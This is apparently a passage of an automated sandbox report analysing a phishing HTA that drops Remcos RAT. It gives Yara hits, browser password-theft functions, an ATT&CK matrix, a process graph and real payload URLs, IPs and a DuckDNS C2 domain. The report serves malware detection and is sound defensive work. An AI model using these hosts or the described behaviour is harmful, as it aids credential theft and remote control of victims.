                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB9194 GetLocalTime,6_2_02BB9194
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028295F8 GetComputerNameExW,GetUserNameW,10_2_028295F8
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028568DC _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,10_2_028568DC
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BBB714 GetVersionExA,6_2_02BBB714
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000A.00000002.4486647741.00000000277FE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2471613728.0000000022DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2397238923.000000002AD90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: nicerose.exe PID: 6500, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 5368, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 4940, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 3864, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Contains functionality to steal Chrome passwords or cookies
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data10_2_0281A953
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data14_2_0248A953
                Contains functionality to steal Firefox passwords or cookies
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\10_2_0281AA71
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: \key3.db10_2_0281AA71
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\14_2_0248AA71
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: \key3.db14_2_0248AA71

                Remote Access Functionality

                barindex
                Detected Remcos RAT
                Source: C:\Windows\SysWOW64\colorcpl.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7Jump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7
                Source: C:\Windows\SysWOW64\colorcpl.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7
                Yara detected Remcos RAT
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000A.00000002.4486647741.00000000277FE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2471613728.0000000022DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2397238923.000000002AD90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: nicerose.exe PID: 6500, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 5368, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 4940, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 3864, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: cmd.exe10_2_0281567A
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: cmd.exe14_2_0248567A

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure1
                Valid Accounts                		1
                Native API                		1
                DLL Side-Loading                		1
                DLL Side-Loading                		1
                Deobfuscate/Decode Files or Information                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services11
                Archive Collected Data                		22
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts12
                Command and Scripting Interpreter                		1
                Valid Accounts                		1
                Valid Accounts                		2
                Obfuscated Files or Information                		211
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Email Collection                		21
                Encrypted Channel                		Exfiltration Over Bluetooth1
                Defacement
                Email AddressesDNS ServerDomain Accounts2
                Service Execution                		1
                Windows Service                		11
                Access Token Manipulation                		1
                DLL Side-Loading                		2
                Credentials In Files                		1
                System Service Discovery                		SMB/Windows Admin Shares211
                Input Capture                		1
                Non-Standard Port                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal Accounts3
                PowerShell                		1
                Registry Run Keys / Startup Folder                		1
                Windows Service                		11
                Masquerading                		NTDS1
                System Network Connections Discovery                		Distributed Component Object Model3
                Clipboard Data                		1
                Remote Access Software                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script322
                Process Injection                		1
                Valid Accounts                		LSA Secrets3
                File and Directory Discovery                		SSHKeylogging2
                Non-Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
                Registry Run Keys / Startup Folder                		31
                Virtualization/Sandbox Evasion                		Cached Domain Credentials46
                System Information Discovery                		VNCGUI Input Capture123
                Application Layer Protocol                		Data Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
                Access Token Manipulation                		DCSync331
                Security Software Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job322
                Process Injection                		Proc Filesystem31
                Virtualization/Sandbox Evasion                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow3
                Process Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
                Application Window Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
                System Owner/User Discovery                		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1577568 Sample: greatindiancompaniesgivenbe... Startdate: 18/12/2024 Architecture: WINDOWS Score: 100 76 www.maan2u.com 2->76 78 maan2u.com 2->78 80 geoplugin.net 2->80 106 Suricata IDS alerts for network traffic 2->106 108 Found malware configuration 2->108 110 Malicious sample detected (through community Yara rule) 2->110 112 19 other signatures 2->112 11 mshta.exe 1 2->11         started        14 Emxwenem.PIF 5 2->14         started        16 Emxwenem.PIF 2->16         started        signatures3 process4 signatures5 122 Suspicious command line found 11->122 124 PowerShell case anomaly found 11->124 18 cmd.exe 1 11->18         started        126 Antivirus detection for dropped file 14->126 128 Multi AV Scanner detection for dropped file 14->128 130 Early bird code injection technique detected 14->130 132 Machine Learning detection for dropped file 14->132 21 colorcpl.exe 14->21         started        23 cmd.exe 14->23         started        134 Allocates memory in foreign processes 16->134 136 Sample is not signed and drops a device driver 16->136 138 Allocates many large memory junks 16->138 25 colorcpl.exe 16->25         started        27 cmd.exe 16->27         started        process6 signatures7 98 Detected Cobalt Strike Beacon 18->98 100 Suspicious powershell command line found 18->100 102 PowerShell case anomaly found 18->102 29 powershell.exe 42 18->29         started        34 conhost.exe 18->34         started        104 Detected Remcos RAT 21->104 36 conhost.exe 23->36         started        38 conhost.exe 27->38         started        process8 dnsIp9 84 173.214.167.74, 49732, 80 IS-AS-1US United States 29->84 70 C:\Users\user\AppData\Roaming\nicerose.exe, PE32 29->70 dropped 72 C:\Users\user\AppData\...\nicerose[1].exe, PE32 29->72 dropped 74 C:\Users\user\AppData\...\mk3z1vxw.cmdline, Unicode 29->74 dropped 140 Loading BitLocker PowerShell Module 29->140 142 Powershell drops PE file 29->142 40 nicerose.exe 1 9 29->40         started        45 csc.exe 3 29->45         started        file10 signatures11 process12 dnsIp13 82 maan2u.com 103.82.231.117, 443, 49735, 49736 GIGABIT-MYGigabitHostingSdnBhdMY Malaysia 40->82 60 C:\Users\Public\Librariesmxwenem.PIF, PE32 40->60 dropped 62 C:\Users\Public\Libraries\FX.cmd, DOS 40->62 dropped 64 C:\Users\Public\Librariesmxwenem, data 40->64 dropped 66 C:\Users\Publicmxwenem.url, MS 40->66 dropped 114 Antivirus detection for dropped file 40->114 116 Multi AV Scanner detection for dropped file 40->116 118 Early bird code injection technique detected 40->118 120 7 other signatures 40->120 47 colorcpl.exe 2 16 40->47         started        52 cmd.exe 1 40->52         started        68 C:\Users\user\AppData\Local\...\mk3z1vxw.dll, PE32 45->68 dropped 54 cvtres.exe 1 45->54         started        file14 signatures15 process16 dnsIp17 86 185.174.103.111, 2404, 49738 ASN-QUADRANET-GLOBALUS Ukraine 47->86 88 geoplugin.net 178.237.33.50, 49740, 80 ATOM86-ASATOM86NL Netherlands 47->88 58 C:\ProgramData\remcos\logs.dat, data 47->58 dropped 90 Detected Remcos RAT 47->90 92 Contains functionalty to change the wallpaper 47->92 94 Contains functionality to steal Chrome passwords or cookies 47->94 96 4 other signatures 47->96 56 conhost.exe 52->56         started        file18 signatures19 process20

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta16%ReversingLabsScript-JS.Phishing.Generic

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exe100%AviraHEUR/AGEN.1326052
                C:\Users\Public\Libraries\Emxwenem.PIF100%AviraHEUR/AGEN.1326052
                C:\Users\user\AppData\Roaming\nicerose.exe100%AviraHEUR/AGEN.1326052
                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exe100%Joe Sandbox ML
                C:\Users\Public\Libraries\Emxwenem.PIF100%Joe Sandbox ML
                C:\Users\user\AppData\Roaming\nicerose.exe100%Joe Sandbox ML
                C:\Users\Public\Libraries\Emxwenem.PIF45%ReversingLabsWin32.Trojan.Ulise
                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exe45%ReversingLabsWin32.Trojan.Ulise
                C:\Users\user\AppData\Roaming\nicerose.exe45%ReversingLabsWin32.Trojan.Ulise

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://www.maan2u.com:443/docs/233_Emxwenemixg0%Avira URL Cloudsafe
                https://www.maan2u.com/OLJ90%Avira URL Cloudsafe
                http://173.214.167.74/444/nicerose.exeC:0%Avira URL Cloudsafe
                http://ocsp.sectigo.com0C0%Avira URL Cloudsafe
                https://www.maan2u.com/docs/233_Emxwenemixg0%Avira URL Cloudsafe
                apostlejob2.duckdns.org0%Avira URL Cloudsafe
                http://173.214.167.74/444/nicero0%Avira URL Cloudsafe
